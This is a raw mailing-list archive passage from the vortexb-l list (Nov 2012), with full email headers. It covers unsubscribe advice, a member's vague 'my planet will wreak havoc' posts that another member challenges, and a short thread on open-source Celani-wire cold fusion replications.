h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=a48yTyQF40/dN0ctivoc8+W3gNp/02BZMO5SbSMgs98=; b=xkZgHtDPbEFbqhtJ/rj1u4tAKsC1QkPT8etkG8M5Drcx5SfiDx8mrilcuk4RwZN88O NFIFdP91e9rj5EXCHSg/WYADvUIJC9nrMNIqMnm9huiH4RNvJototUqnpFDbsVkLlIdt 5DJ173btGjvOBu256/6nxwfB+VOGoaAGEzeWuXEgf3AwDQoRNJJFb4hdZiL2nyOyPAwq XwCErQxnaO80XQ+20v2SALEyH7K1fV5xpwgJuIl2I4D2N0OnOEggrBi+PqoiFFttoRfV T/tayIL1Iwkeg9i0F4CMaW0IVBvY4BLLrx0ipqPQNOB5fX1cpbe4X5+b9U0TA3aDIgFx zfZw== MIME-Version: 1.0 In-Reply-To: <10483.50d98482.3de7a667@aol.com> References: <10483.50d98482.3de7a667@aol.com> Date: Wed, 28 Nov 2012 19:54:22 +0200 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d0446300848542304cf91db77 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4643 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 884 --f46d0446300848542304cf91db77 Content-Type: text/plain; charset=ISO-8859-1 get me outtathis list aaaaaaaa On Wed, Nov 28, 2012 at 7:39 PM, wrote: > What matters really is what > --f46d0446300848542304cf91db77 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable get me outtathis list aaaaaaaa

On Wed, N= ov 28, 2012 at 7:39 PM, <LORENHEYER@aol.com> wrote:
What matters really is what=A0
--f46d0446300848542304cf91db77-- From vortexb-l-request@eskimo.com Wed Nov 28 10:43:26 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qASIhOA3006296; Wed, 28 Nov 2012 10:43:25 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qASIhJ6N006281; Wed, 28 Nov 2012 10:43:19 -0800 Resent-Date: Wed, 28 Nov 2012 10:43:19 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=BaFNZl91r4/9ZSb1AmQM1ZW8+Wenzc16uEcvDsVTEzA=; b=cyJceU4OL/VxBImQHyoD0fCsKGhpzt56dTsqeiTbfIbjnabejUvAiX4sG7gkLhJlPn gsRz7RIA1qNnfTE+kIRic8ieqC83o+Y5EJ6O/NZZ5QEN6OwSD83+HM2E+xQH/gwOK/E9 ERthJHEl9mMo4gvSp0ANZO08Zop97hhszm+/iOtxSABGrBlH0T39ILxOs0tmcjnwUj4h 5Ta5H/bwOyLMGys9yORyp87ddQMTU5jGZ+c49lcvJrYGpIj199jDwOROuyKapPVbOgCv HkeIJTz9Ctz5GKrutKENfRZYNcZjHUjOLPS7X3Sh2due3cl4b2KD3Vq6eoJsdsurfo9Q FZ5g== MIME-Version: 1.0 In-Reply-To: References: <10483.50d98482.3de7a667@aol.com> Date: Wed, 28 Nov 2012 13:43:19 -0500 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: Jed Rothwell To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=e89a8f646e73586d5d04cf928ab6 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4644 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 885 --e89a8f646e73586d5d04cf928ab6 Content-Type: text/plain; charset=ISO-8859-1 Esa Ruoho wrote: get me outtathis list aaaaaaaa You can leave Vortexb-l andstay in regular Vortex. I think you just send a message to: vortexb-L-request@eskimo.com . . . with the word "unsubscribe" Be sure it is vortexb-L - Jed --e89a8f646e73586d5d04cf928ab6 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Esa Ruoho <esaruoho@gmail.com> wrote:

get me outtathis list aaaaaaaa

You can leav= e Vortexb-l andstay in regular Vortex.

I think you just send a messa= ge to:


. . . with the word "unsubscribe"
<= br>

Be sure it is vortexb-L

- Jed
--e89a8f646e73586d5d04cf928ab6-- From vortexb-l-request@eskimo.com Wed Nov 28 11:01:22 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qASJ1Kbs003962; Wed, 28 Nov 2012 11:01:20 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qASJ1ITN003941; Wed, 28 Nov 2012 11:01:18 -0800 Resent-Date: Wed, 28 Nov 2012 11:01:18 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=XjyPUqrX0fnkiKDKQ8yAD8Md+Pmn7ZIXVcUzPObs6C4=; b=tAdgA6SSGww/SDt9Gbx1o99PC7qqbUOQFl3fP0AnR8eSphyoktNpOZljZNiqeDbRer T6acZImFOwqnEevVwG8lNUpeENhZQCTeSkn3zUChhTcZop3kPqG+hGqMW0BUcvcVIhBe I3GOlYgOAFjg8hezkQQsICE/1qZCKLAvnHni8axGkcADhKypTOpLuwiOwZWTLFksGEYt hTJdFYSxRbW15NpfwDqA1H7QsGzXAHuGz6uFmi2vRm6nm94t/mR9kGIYXZUpsd7fPldP IxCT4S8NiJjloipWVvllJaX3a2ZZwR3IXayY/9RWllb0m5xEK5yOcNSnlT+MCCUxtwUN 57jg== MIME-Version: 1.0 In-Reply-To: References: <10483.50d98482.3de7a667@aol.com> Date: Wed, 28 Nov 2012 21:01:18 +0200 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: Esa Ruoho To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d04463008a08ef404cf92ca61 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4645 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 886 --f46d04463008a08ef404cf92ca61 Content-Type: text/plain; charset=ISO-8859-1 well, jed, i probably can't get lorenhigher out of here so i giveup On Wed, Nov 28, 2012 at 8:43 PM, Jed Rothwell wrote: > Esa Ruoho wrote: > > get me outtathis list aaaaaaaa > > > You can leave Vortexb-l andstay in regular Vortex. > > I think you just send a message to: > > vortexb-L-request@eskimo.com > > . . . with the word "unsubscribe" > > > Be sure it is vortexb-L > > - Jed > --f46d04463008a08ef404cf92ca61 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable well, jed, i probably can't get lorenhigher out of here so i giveup

On Wed, Nov 28, 2012 at 8:43 PM, Jed Ro= thwell <jedrothwell@gmail.com> wrote:
Esa Ruoho <esaruoho@gmail.com> wrote:

get me outtathis list aaaaaaaa

You ca= n leave Vortexb-l andstay in regular Vortex.

I think you just send a= message to:


. . . with the word "unsubscribe"
<= br>

Be sure it is vortexb-L=

- Jed

--f46d04463008a08ef404cf92ca61-- From vortexb-l-request@eskimo.com Wed Nov 28 11:40:12 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qASJeBYu013540; Wed, 28 Nov 2012 11:40:11 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qASJeAAq013530; Wed, 28 Nov 2012 11:40:10 -0800 Resent-Date: Wed, 28 Nov 2012 11:40:10 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=VpnGKZwMfs4LGa6axtaVf2k2Z6wkXNMFgrABXaI6Gpc=; b=eGzkiJZEZLm5pp9w1yYqChczEfOOFHcgM1cpI0FbWYrmPWGTYwTKA60pigaauZploF FeOyItP+dBywpTWR8cfoOPIFgMv+ud/eYVTgaepnW+o8Ra1Pe5+X3TpDH2aBqQw0JDl6 Z5l6ANFX2t+/pxbg6Z5L1axPE3USpzAh5yEMj8/AAlbUh4IpIUWKqS80WUfEHb/1LsDV eUoArhKG58UbP3HHZrGqwTlVd3ZpBqmPTuQVWuOfASAGtb0aNELR4oWeN2Ijko4LywuV uXGbbbsV+gdeMBjnPoEAnQgHC2omM+L59F26Rj02+Pd2BLhid4hqwSvgUiBFzvV0bT+l LGrA== MIME-Version: 1.0 In-Reply-To: References: <10483.50d98482.3de7a667@aol.com> Date: Wed, 28 Nov 2012 14:40:10 -0500 Message-ID: Subject: Re: [VoB]:And We Worried About the Millenium From: Jed Rothwell To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=f46d044517a3a7c46c04cf935548 Resent-Message-ID: <8-7R7B.A.VTD.aimtQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4646 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 887 --f46d044517a3a7c46c04cf935548 Content-Type: text/plain; charset=ISO-8859-1 Esa Ruoho wrote: well, jed, i probably can't get lorenhigher out of here so i giveup You can easily get rid of lorenhigher! Just use the gmail feature to filter them. Select a message from him; select "More" on the right; "Filter messages like this" and then have g-mail throw away the messages. I did that a long time ago for Loren. The g-mail filter is handy for many purposes. - Jed --f46d044517a3a7c46c04cf935548 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Esa Ruoho <esaruoho@gmail.com> wrote:

well, jed, i probably can't get lorenhigher out of here so i giveup

You can easily get rid of=A0lorenhigher! Just = use the gmail feature to filter them. Select a message from him; select &qu= ot;More" on the right; "Filter messages like this" and then = have g-mail throw away the messages.

I did that a long time ago for Loren.

The g-mail filter is handy for many purposes.

<= div>- Jed

--f46d044517a3a7c46c04cf935548-- From vortexb-l-request@eskimo.com Wed Nov 28 11:46:22 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qASJkLaw021864; Wed, 28 Nov 2012 11:46:21 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qASJkKMn021854; Wed, 28 Nov 2012 11:46:20 -0800 Resent-Date: Wed, 28 Nov 2012 11:46:20 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ap0EAG6Zu0/O+Ihr/2dsb2JhbABEtRmCFQEBAQECAQEBATdECwgDRiE2BRSIAAMGBbAqDYlSihpugh6DHgOIQoxYiniEeYMH X-IronPort-AV: E=Sophos;i="4.75,637,1330923600"; d="scan'208";a="208684405" Date: Wed, 28 Nov 2012 14:46:11 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Subject: Re: [VoB]:And We Worried About the Millenium Message-Id: <20121128144611.8fa996a0481f51ebb57ecee0@antichef.com> In-Reply-To: References: <10483.50d98482.3de7a667@aol.com> X-Mailer: Sylpheed 3.2.0beta5 (GTK+ 2.24.10; x86_64-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: <1ZVShB.A.ZVF.MomtQB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4647 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 888 On Wed, 28 Nov 2012 21:01:18 +0200 Esa Ruoho wrote: > well, jed, i probably can't get lorenhigher out of here so i giveup Killfile him. I have all but 6 people on both vortexes killfiled, and with your post I think I'll add you to the list. Nothing personal. From vortexb-l-request@eskimo.com Wed Nov 28 18:08:22 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAT28LwX026417; Wed, 28 Nov 2012 18:08:21 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAT28IV7026407; Wed, 28 Nov 2012 18:08:18 -0800 Resent-Date: Wed, 28 Nov 2012 18:08:18 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=set3ANRjRCPXVE/jtaJxOKJrtEYPXxXKq56iIP4dO9Y= c=1 sm=1 a=wYFYPXpFnK0A:10 a=yUnIBFQkZM0A:10 a=SyEqRuHZWLkA:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=1P62RHYtMW51zn6vemwA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=yMhMjlubAAAA:8 a=SSmOFEACAAAA:8 a=RsnZYnNk5Pjqp_vywrsA:9 a=gKO2Hq4RSVkA:10 a=UiCQ7L4-1S4A:10 a=hTZeC7Yk6K0A:10 a=frz4AuCg-hUA:10 a=GYmUmdRzystJrRy4:21 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <10483.50d98482.3de7a667@aol.com> In-Reply-To: <10483.50d98482.3de7a667@aol.com> Subject: RE: [VoB]:And We Worried About the Millenium Date: Wed, 28 Nov 2012 20:08:21 -0600 Message-ID: <00a501cdcdd6$684db170$38e91450$@net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00A6_01CDCDA4.1DB34170" X-Mailer: Microsoft Office Outlook 12.0 Content-Language: en-us Thread-Index: Ac3Nj3ReGtVxN4c+SNuML5TyPOZx5gARNiFw Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4648 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 889 This is a multi-part message in MIME format. ------=_NextPart_000_00A6_01CDCDA4.1DB34170 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Oh, what the hey. I'll participate some more. It's VoB, where anything goes. Well, Loren, it's obvious that Grok (aka he who shall remain nameless) is not in control of the VoB list. And neither are you. I'm curious about something, Loren, what do you mean when you the term "world". You seem to use the term interchangeably with the term "my planet". You seem to be using the term "world" in the most literal sense here - as a physical planet as compared to a metaphor, a psychological state of being. If that is the case, what kind of an invasion force do you (and all those advanced beings aboard ufo's) have planned for Grok's planet? And is Grok's planet same planet the rest of us walk on? Have you considered the ramifications of how wrecking havoc on Grok's planet might result in unintended consequences for the rest of us? Good heavens! Haven't any of those advanced beings aboard ufos told you anything about the consequences of generating unintended consequences? Making plans to wreak havoc on anybody is a messy business. Once you start down that path. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks ------=_NextPart_000_00A6_01CDCDA4.1DB34170 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Oh, what the = hey. I'll participate some more. It's VoB, where anything = goes.

 

Well, Loren, = it's obvious that Grok (aka he who shall remain nameless) is not in = control of the VoB list. And neither are you.

 

I'm curious = about something, Loren, what do you mean when you the term = "world". You seem to use the term interchangeably with the = term "my planet". You seem to be using the term = "world" in the most literal sense here - as a physical planet = as compared to a metaphor, a psychological state of being. If that is = the case, what kind of an invasion force do you (and all those advanced = beings aboard ufo's) have planned for Grok's planet? And is Grok’s = planet same planet the rest of us walk on? Have you considered the = ramifications of how wrecking havoc on Grok’s planet might result = in unintended consequences for the rest of us?

 

Good = heavens! Haven’t any of those advanced beings aboard ufos told you = anything about the consequences of generating unintended consequences? = Making plans to wreak havoc on anybody is a messy business. Once you = start down that path…

 

Regards,=

Steven = Vincent Johnson

www.OrionWork= s.com

www.zazzle.co= m/orionworks

------=_NextPart_000_00A6_01CDCDA4.1DB34170-- From vortexb-l-request@eskimo.com Thu Nov 29 10:07:00 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qATI6xDu020543; Thu, 29 Nov 2012 10:06:59 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qATI6uRq020527; Thu, 29 Nov 2012 10:06:56 -0800 Resent-Date: Thu, 29 Nov 2012 10:06:56 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <1575.6eb0d3a0.3de8fe3f@aol.com> Date: Thu, 29 Nov 2012 13:06:56 -0500 (EST) Subject: Re: [VoB]:And We Worried About the Millenium To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20110426; t=1354212416; bh=u4LLWujflGb7z1tjARa1LvU79ZIF14PdlJaxEafmU00=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=ruscDNgxCcqpvNea6PGv8Pgpo9CyvQxtJiROm9pdGykvPQnbUAs9fsOvU00P3iGGt InHuDjj0SYc68TX4Q22N+fCeD/Vf+igu1hSWxWH976UQooDEBoVc6n/JUzeDbng+KD ULzZFMyS30kUwzyXwUrIm3zz1KftSLKV36NAMFrc= X-AOL-SCOLL-SCORE: 0:2:358757952:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d33c750b7a44024ea Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4649 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 890 Quickly now, my time is limited.... my Planet doesn't take kindly to too much of the type of BS that so many people are full of. If you're smart, you'll think about what I mean, and adjust accordingly! Thanks. Now just so you know, I've gone down a path that leads to a road w/ no dead end. Also, you need to know that "I don't make threats... you do!. Simply put, my planet (which is operated by highly advanced civilizations) uses your world to teach you (if you will),,, but, you're just a little too slow,,, so, it's probably best you find out the hard way.... it really is the only true way to learn! (all rights reserved... any events or occurences resulting in any singularity parody of similarity is purely coincidal, and/or accidentally inintentionally on purpose). Thank you. << Good heavens! Haven't any of those advanced beings aboard ufos told you anything about the consequences of generating unintended consequences? Making plans to wreak havoc on anybody is a messy business. Once you start down that path. Regards, >> From vortexb-l-request@eskimo.com Thu Nov 29 17:25:10 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAU1P9uT023402; Thu, 29 Nov 2012 17:25:09 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAU1P5UC023385; Thu, 29 Nov 2012 17:25:05 -0800 Resent-Date: Thu, 29 Nov 2012 17:25:05 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=set3ANRjRCPXVE/jtaJxOKJrtEYPXxXKq56iIP4dO9Y= c=1 sm=1 a=wYFYPXpFnK0A:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=SyEqRuHZWLkA:10 a=eZxFahdUjPF0kzXDIwV/4g==:17 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=evVYT5WI1TFDWtXLfmoA:9 a=CjuIK1q_8ugA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=eZxFahdUjPF0kzXDIwV/4g==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <1575.6eb0d3a0.3de8fe3f@aol.com> In-Reply-To: <1575.6eb0d3a0.3de8fe3f@aol.com> Subject: RE: [VoB]:And We Worried About the Millenium Date: Thu, 29 Nov 2012 19:25:10 -0600 Message-ID: <009a01cdce99$8a5e33c0$9f1a9b40$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac3OXFh1cu4aue1DSDuXu7WPPDZXQgAOv6Yg Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4650 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 891 Loren, You stated: > ... Also, you need to know that "I don't make threats... you do!. You seem to be implying that I have somehow threatened you. Please point out where I threatened you. Is it possible that some of my prior criticism has been perceived by you as personal threats? If so, here's additional "critique" from me: Feeling threatened is very common feeling we have all experienced - myself included. One must put some effort into learning to recognize criticisms for what they are. It's a learned skill. It takes some practice. ;-) Here's some more "critique": I noticed you initiated the current VoB subject thread with some choice commentary directed at Grok: > Before I go however, I just want you [Grok] to know that > you have finally pushed me over the edge,,, and so, I am > forced to have my planet wreak havoc upon your world. > Soon, you & everyone like you that has invaded my world will > be sent a rather frightening message, that you simply can't > refuse." So, you plan to "wreak havoc" upon [Grok's] world??? Wait a minute! You just stated that "I don't make threats..." That sure sounds like a threat to me - a threat lobbed directly at Grok. Please explain this inconsistency. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Fri Nov 30 08:39:35 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAUGdYwe023920; Fri, 30 Nov 2012 08:39:34 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAUGdXp6023910; Fri, 30 Nov 2012 08:39:33 -0800 Resent-Date: Fri, 30 Nov 2012 08:39:33 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50B8E139.1050708@resist.ca> Date: Fri, 30 Nov 2012 11:39:21 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: <-6APQ.A.f1F.FFOuQB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4651 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Open Source Cold Fusion Status: O X-Status: X-Keywords: X-UID: 892 So... What about this new Open Source "Celani wire" LENR process then, eh..? -- grok. From vortexb-l-request@eskimo.com Fri Nov 30 12:13:09 2012 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id qAUKD78e023681; Fri, 30 Nov 2012 12:13:07 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id qAUKD5B8023669; Fri, 30 Nov 2012 12:13:05 -0800 Resent-Date: Fri, 30 Nov 2012 12:13:05 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=LdZD5O3gz46b+FWS9MqdvL6iUTcnvJYiuv0fn5UbhiY=; b=I0t1v2FF+sqh9SgO/q5DnhTq3kbfK3OfsGs+Uuq/Ym6jDdq6tRb0VoEL6dEkL4GpR3 ydJAwRk+FJb1Fkul3JGb7/UBakljwMncE1HrZRYXBITGS6Hk7WwDaf0h3tN1M13izGMn 12qzI03zv590dF6EZmTfQW0n64apN478N1bqvfUao3wYoiu/+85KDyx9Lt9sCiqldfSr r0VbMTXZxC7Zti18uHgPVf87StLDUUOnVw4bluHVixphQRbyrQ9H4mjzZAU4Aeqv268l U3HWXiAIPTvf8h2qH3s2ej4znhtQ71Sm+luP0k94QU2gAvMk/z/rE/vQBPPC4QQBbbPA zCBQ== MIME-Version: 1.0 In-Reply-To: <50B8E139.1050708@resist.ca> References: <50B8E139.1050708@resist.ca> Date: Fri, 30 Nov 2012 15:13:05 -0500 Message-ID: Subject: Re: [VoB]:Open Source Cold Fusion From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4652 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 893 On Fri, Nov 30, 2012 at 11:39 AM, grok wrote: > So... > > What about this new Open Source "Celani wire" LENR process then, eh..? You can watch a replication here: http://www.quantumheat.org/ under the "Follow" tab. From vortexb-l-request@eskimo.com Fri Nov 30 13:44:19 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qAULiH78030563; Fri, 30 Nov 2012 13:44:17 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qAULiGPF030551; Fri, 30 Nov 2012 13:44:16 -0800 Resent-Date: Fri, 30 Nov 2012 13:44:16 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 30 Nov 2012 13:43:38 -0800 From: Mark S Bilk To: vortexb-l@eskimo.com Subject: Re: [VoB]:Open Source Cold Fusion Message-ID: <20121130214338.GB5128@isis> References: <50B8E139.1050708@resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: Organization: http://cosmicpenguin.com User-Agent: Mutt/1.5.20 (2009-06-14) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=comcast.net; s=q20121106; t=1354311856; bh=EOVH0jU7/2jmUjuVWo7+JicAPwOpWguiGy6iYB1ttDM=; h=Received:Received:Received:Date:From:To:Subject:Message-ID: MIME-Version:Content-Type; b=MRSHNoU0c8RB7hg4C13VdlX5neQthkOpk2L0MwusYJxQR0/jrpd2D2/AgRuJhGnx+ UMuBOEezgQndrBi/f44Mnb9V2k3EzkketCXYfMSQ00LHti3Wq3J9f77v30XC14xmgV 2eRle8/9bJky9FsIHcyfH8bevon705hclN/84RQ8q10vwpCBySyIAOwVTOE1EJJp6/ aydbjiHRiuRng0p/1IutJwhaMt4iG12ZseSKfSi2xkXDhAUGXfd2WJU6/LjP3zT8l+ GMWVbUmli/LLKVobIFRKz22j3x9ek5inEbjOxVFI168CBxBj2C470ScK18BXI7Avz4 DM7e49cgpuVgQ== Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4653 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 894 Here's Peter Hagelstein discussing various cold fusion experiments, one showing 14:1 power gain for months! Big hot-fusion physicist got it defunded at MIT. Sound level is low; turn up your sound gain: http://www.psylords.info/acedemia/politics/is-cold-fusion-finally-being-accepted-by-scientists/ On Fri, Nov 30, 2012 at 03:13:05PM -0500, Terry Blanton wrote: >On Fri, Nov 30, 2012 at 11:39 AM, grok wrote: >> So... >> >> What about this new Open Source "Celani wire" LENR process then, eh..? > >You can watch a replication here: > >http://www.quantumheat.org/ > >under the "Follow" tab. From vortexb-l-request@eskimo.com Sun Dec 2 12:14:08 2012 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id qB2KE4wZ029645; Sun, 2 Dec 2012 12:14:04 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id qB2KE0M8029625; Sun, 2 Dec 2012 12:14:00 